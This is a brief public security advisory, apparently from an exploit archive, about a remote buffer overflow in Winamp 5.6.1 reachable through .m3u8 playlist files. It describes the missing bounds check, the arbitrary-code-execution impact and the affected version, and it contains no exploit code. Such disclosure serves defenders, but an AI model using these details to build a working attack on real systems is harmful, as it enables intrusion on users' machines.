Winamp 5.6.1 - .m3u8 Remote Buffer Overflow

source: https://www.securityfocus.com/bid/47333/info

Winamp is prone to a remote buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Attackers can execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Winamp 5.6.1 is vulnerable; other versions may also be affected.
